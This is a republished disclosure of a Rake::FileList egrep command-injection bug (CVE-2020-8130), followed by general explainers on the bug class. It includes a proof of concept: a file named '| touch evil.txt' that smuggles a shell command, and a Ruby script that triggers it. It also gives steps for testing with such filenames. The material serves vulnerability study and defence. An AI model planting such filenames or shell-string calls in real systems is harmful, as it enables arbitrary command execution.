Skip to content
RCE Disclosed report Intermediate CVE-2020-8130

OS Command Injection via egrep in Rake::FileList

A file whose name starts with a pipe character, when included in a Rake::FileList and processed by egrep, causes the shell to execute the rest of the filename as a command. An attacker who can place such a file in the target directory could run arbitrary commands.

kyoshida Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 45 hours
  • Paid in 45 hours
  • Disclosed after 40 days

When a file which has command file name of stating with | is in Rake::FileList, then egrep will execute the command.

How to reproduce

PoC (poc_rake.rb) is the following.

Ruby
require 'rake'

list = Rake::FileList.new(Dir.glob('*'))
p list
list.egrep(/something/)

Example of executing.

% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt

evil.txt was created.

Impact

An attacker must deploy a file containing command names in the target environment, assuming that this attack is successful. If that would be a serious problem.

The original report as published on HackerOne, by kyoshida. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 4 min read.

What the report shows

The target is the Ruby language repository, and the feature under examination is Rake::FileList, specifically its egrep method. The researcher found that when a file whose name begins with a pipe character (|) is present in a Rake::FileList, calling egrep causes the shell to execute the text that follows the pipe as a command.

The proof of concept is a short Ruby script, poc_rake.rb, which builds a file list from the current directory and then calls egrep:

Ruby
require 'rake'

list = Rake::FileList.new(Dir.glob('*'))
p list
list.egrep(/something/)

To reproduce, the researcher placed a file literally named | touch evil.txt in the working directory alongside the script. The directory listing before execution was:

Text
% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt

Running the script produced the following output:

Text
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor

After the run, the directory contained a new file, evil.txt:

Text
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt

The report does not give a severity rating, CVSS score, bounty amount or fix.

Root cause

The report does not describe the implementation, only the observed behaviour. A leading | in a filename is then interpreted by the shell as a pipe, so the remainder of the name becomes a separate command. The report itself only states the behaviour, not the implementation detail.

Impact

The report is careful about impact. It says an attacker must first be able to deploy a file containing command names into the target environment, and that the attack matters if that is possible. In the demonstration the consequence is that the text after the pipe runs as a command, here shown by creating evil.txt.

How this kind of bug works

OS command injection happens when untrusted data is concatenated into a string that is handed to a shell interpreter. The shell then applies its own syntax to that data: pipes, semicolons, ampersands, backticks, $() substitution, redirection and glob characters all change the meaning of the command. The classic mistake is using a shell-based API (in Ruby, backticks, system with a single string, %x, or Open3 with a shell string) when the arguments are data rather than syntax. Filenames are a frequent source because they are attacker-controlled in many workflows: archives, uploads, shared directories, repositories and build artefacts.

Defences are structural rather than filter-based. Use APIs that pass an argument vector directly to the process without a shell, so no metacharacter is ever interpreted. Where a shell is unavoidable, quote and escape each argument for the target shell. Avoid blocklists of characters, since shell syntax is large and encoding tricks defeat naive filters.

How to test for it

  1. Identify features that shell out: archive extraction, media conversion, grep-like search, version control wrappers, build tools, backup scripts, PDF or image processing.
  2. Find where user-controlled strings reach those features: filenames, repository names, branch names, tags, labels, uploaded file names, project titles.
  3. Create a harmless marker file whose name contains shell metacharacters, for example a leading pipe followed by a command that writes a file, or a semicolon followed by a command. Keep the command benign and reversible.
  4. Trigger the feature that processes the name and check whether the marker command ran (a new file, a changed timestamp, an entry in a log).
  5. If the output of the command is reflected, use a command that prints a unique string to confirm execution and capture context.

A positive result is side-effect evidence that the injected command executed, not merely an error message. Common false positives include names that are safely quoted and appear only in error text, applications that reject the filename before processing, and cases where the metacharacter is escaped and the literal name is treated as data. Confirm by comparing behaviour with a plain filename.

How it is fixed

The standard fix is to stop invoking a shell. Pass the command and its arguments as separate elements to the process-spawning API so the operating system receives them directly. If a shell must be used, escape every interpolated value for that shell and quote it. Add tests that use filenames containing pipes, semicolons, spaces, quotes and newlines, and assert that no command runs. Review other call sites in the same codebase for the same pattern.

Hunting notes

This class tends to hide in tooling that wraps command-line utilities: search and grep helpers, image and video pipelines, git and archive handling, and any library that builds command strings from collections of names. Recon signals include error messages that reveal shell utilities, documentation mentioning external binaries, and features that accept filenames or repository metadata. To make a report accepted, show a minimal reproduction, the exact command that ran, and the observable side effect, and state the precondition honestly, as this report does: the attacker needs a way to place the crafted filename in the environment. Avoid destructive payloads and clean up artefacts after demonstrating execution.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What happened, in plain words

This report is about the Ruby programming language, and specifically about a helper called Rake::FileList. Rake is a tool that Ruby developers use to automate repetitive jobs, a bit like a recipe book that runs tasks for you. A FileList is simply a list of file names that Rake keeps track of, and egrep is one of its methods, and calling it is where the problem appears.

The researcher found that if one of the file names in that list starts with the pipe character |, then calling egrep makes the computer run whatever text comes after the pipe as a separate command. In other words, a file name stops being treated as a name and starts being treated as an instruction.

To show this, the researcher wrote a short Ruby script called poc_rake.rb. A script is just a text file of instructions that the computer runs top to bottom. Here it is:

Ruby
require 'rake'

list = Rake::FileList.new(Dir.glob('*'))
p list
list.egrep(/something/)

Line by line:

  1. require 'rake' loads the Rake library so its features are available.
  2. list = Rake::FileList.new(Dir.glob('*')) asks the operating system for every file name in the current folder (Dir.glob('*')) and puts them into a new FileList.
  3. p list prints the list so you can see what it contains.
  4. list.egrep(/something/) runs the search method, which is where the problem lives.

Next, the researcher created a file whose name was literally | touch evil.txt. The word touch is a standard command that creates an empty file, so this name is not just a label: it is a disguised instruction to create a file called evil.txt. Before running anything, the folder looked like this:

Text
% ls -1
Gemfile
Gemfile.lock
poc_rake.rb
vendor
| touch evil.txt

Here ls -1 lists the folder contents one per line, and % is just the prompt symbol shown before a command. Then the script was run:

Text
% bundle exec ruby poc_rake.rb
["poc_rake.rb", "Gemfile", "Gemfile.lock", "| touch evil.txt", "vendor"]
poc_rake.rb:6:list.egrep(/something/)
Error while processing 'vendor': Is a directory @ io_fillbuf - fd:7 vendor

bundle exec ruby poc_rake.rb runs the script through Ruby. The second line shows the file list, including the suspicious name. The last line is an error about vendor. That error is a side note; the important part is what happened next. Listing the folder again showed a new file:

Text
% ls -1
Gemfile
Gemfile.lock
evil.txt
poc_rake.rb
vendor
| touch evil.txt

evil.txt was created. Nobody typed touch evil.txt as a command; the file name itself was enough. That is the proof: the text after the pipe was executed.

The report does not give a severity rating, a CVSS score, a bounty amount or a fix.

In general, how this kind of bug works

This is called OS command injection. The operating system (OS) is the software that runs your computer, and a shell is the program that reads typed commands and carries them out. A shell understands special symbols: | means "take the output of the left command and feed it to the right one", ; means "then run the next command", and && means "run the next command only if this one succeeded".

The bug appears when a program glues data, such as a file name, into a command string and hands the whole thing to the shell. The shell cannot tell data from instructions, so any special symbol inside the data is obeyed. It is like writing a shopping list and having the shop assistant treat the line "milk, and also unlock the back door" as two separate requests.

File names are a common source of this problem because in many systems other people can choose them: uploaded files, files inside archives, files in shared folders or in code repositories. If a tool later searches, converts or copies those files by building a shell command, the name can carry an instruction.

The right defence is not to filter out bad characters, because the shell has many symbols and clever encodings get around simple blocklists. Instead, programs should pass the command and each argument separately to the operating system, without a shell in between, so nothing is ever interpreted. If a shell truly cannot be avoided, every inserted value must be quoted and escaped for that shell.

To test for this yourself, in a safe environment you control:

  1. Look for features that call external programs: searching, converting images, unpacking archives, wrapping git, running builds.
  2. Find where names you can influence reach those features.
  3. Create a harmless file whose name contains a shell symbol, for example a leading pipe followed by a command that creates a marker file.
  4. Trigger the feature and check whether the marker file appeared.
  5. Treat a real side effect, not an error message, as proof. Compare with a plain file name to rule out false alarms.

When reporting, show the smallest reproduction, the exact command that ran and the visible result, and be honest about what an attacker needs first. In this case, the report says the attacker must be able to place a file with such a name in the target environment, and that the issue matters if that is possible. Keep test commands harmless and clean up afterwards.

Glossary

  • Ruby: a programming language often used for web applications and automation scripts.
  • Rake: a Ruby tool for defining and running automated tasks.
  • Rake::FileList: a Rake object that holds a list of file names.
  • egrep: here, a FileList method that searches the listed files for a pattern.
  • Script: a text file of instructions that a computer executes.
  • Shell: the program that reads commands and runs them, interpreting symbols such as | and ;.
  • Pipe (|): a shell symbol that passes the output of one command into another; at the start of a file name it made the rest of the name run as a command.
  • touch: a standard command that creates an empty file or updates a file's timestamp.
  • ls -1: a command that lists folder contents, one name per line.
  • OS command injection: a vulnerability where untrusted data is placed into a command string and the shell executes part of it as an instruction.
  • Metacharacter: a symbol with special meaning to the shell, such as |, ;, &, backticks or $().
  • Argument vector: the list of separate values passed directly to a program without a shell, which prevents interpretation.
  • Escaping: marking characters so they are treated as plain text rather than as syntax.
  • Proof of concept (PoC): a minimal demonstration that a vulnerability is real.
  • False positive: a result that looks like a vulnerability but is not, for example a name that is safely quoted.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.